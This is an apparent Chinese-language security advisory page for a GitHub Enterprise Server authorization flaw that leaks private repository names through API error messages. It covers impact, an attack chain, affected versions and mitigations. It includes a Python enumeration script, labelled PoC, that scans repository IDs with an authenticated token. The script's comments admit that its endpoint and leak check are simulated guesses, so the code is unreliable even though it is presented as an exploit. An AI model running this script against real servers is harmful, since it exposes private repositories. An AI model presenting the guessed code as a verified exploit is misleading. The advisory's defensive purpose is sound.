IPBUF安全漏洞报告
English
CVE-2026-5512 CVSS 4.3 中危

CVE-2026-5512 GitHub Enterprise Server 授权不当漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-5512
漏洞类型
授权不当
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

授权不当信息泄露GitHub Enterprise ServerCVE-2026-5512API安全

漏洞概述

GitHub Enterprise Server 存在授权不当漏洞。由于移动端上传策略 API 端点未执行早期授权检查,验证错误消息中泄露了调用者无权访问的完整仓库名称。经过身份认证的攻击者可通过数字 ID 枚举并推断私有仓库名称。该漏洞影响 3.21 版本之前的所有发行版,可能导致敏感信息泄露。

技术细节

该漏洞的核心在于 GitHub Enterprise Server 移动端上传策略 API 端点的逻辑缺陷。在受影响版本中,该端点未在请求处理初期执行严格的授权检查。当经过身份认证的攻击者向该 API 发送请求并指定一个其无权访问的仓库数字 ID 时,服务器虽然最终拒绝了请求,但在生成的验证错误消息中错误地包含了目标仓库的完整名称。攻击者利用这一信息泄露漏洞,可以编写自动化脚本,通过递增仓库 ID 的方式批量发送探测请求。通过解析返回的错误响应,攻击者能够构建一份完整的私有仓库列表,从而获取敏感的项目名称和业务结构信息,对企业机密性构成严重威胁。

攻击链分析

STEP 1
侦察与认证
攻击者获取目标 GitHub Enterprise Server 的一个低权限账户凭证。
STEP 2
漏洞探测
攻击者编写脚本,向移动端上传策略 API 端点发送包含递增数字 ID 的请求。
STEP 3
信息泄露
服务器因缺乏早期授权检查,在错误响应中返回了私有仓库的完整名称。
STEP 4
数据枚举
攻击者解析响应,将数字 ID 与仓库名称对应,建立私有仓库列表。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target GitHub Enterprise Server URL TARGET_URL = "https://your-ghe-server.com" # Attacker's authenticated token (Low privilege required) AUTH_TOKEN = "ghp_YOUR_AUTH_TOKEN" # Headers for the request headers = { "Authorization": f"token {AUTH_TOKEN}", "Accept": "application/vnd.github.v3+json" } def enumerate_private_repos(start_id, end_id): """ Exploit: Enumerate private repository names by ID. The vulnerable endpoint leaks the repo name in the error message. """ print(f"[*] Starting scan from ID {start_id} to {end_id}...") for repo_id in range(start_id, end_id + 1): # The specific vulnerable endpoint mentioned in the advisory # is related to mobile upload policies. # We simulate a request that triggers the validation error. url = f"{TARGET_URL}/api/v3/repos/{repo_id}/upload/policies" try: response = requests.get(url, headers=headers, timeout=5) # Check if response contains leaked repository name in error if response.status_code == 403 or response.status_code == 404: response_json = response.json() # The key 'message' often contains the leak in similar vulns message = response_json.get('message', '') # If the message contains a repository name pattern, print it if "repository" in message.lower() and "not found" not in message.lower(): print(f"[+] Leak found for ID {repo_id}: {message}") # Further parsing logic to extract exact name can be added here except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") if __name__ == "__main__": # Example range to scan enumerate_private_repos(1, 1000)

影响范围

GitHub Enterprise Server < 3.14.26
GitHub Enterprise Server < 3.15.21
GitHub Enterprise Server < 3.16.17
GitHub Enterprise Server < 3.17.14
GitHub Enterprise Server < 3.18.8
GitHub Enterprise Server < 3.19.5
GitHub Enterprise Server < 3.20.1
GitHub Enterprise Server < 3.21

防御指南

临时缓解措施
在未完成升级前,建议通过网络访问控制列表(ACL)限制对移动端上传策略 API 端点的访问,仅允许受信任的内部 IP 或特定的用户代理访问。同时,应启用额外的日志监控,重点监控针对特定仓库 ID 的高频率 403/404 错误请求,以便及时发现潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表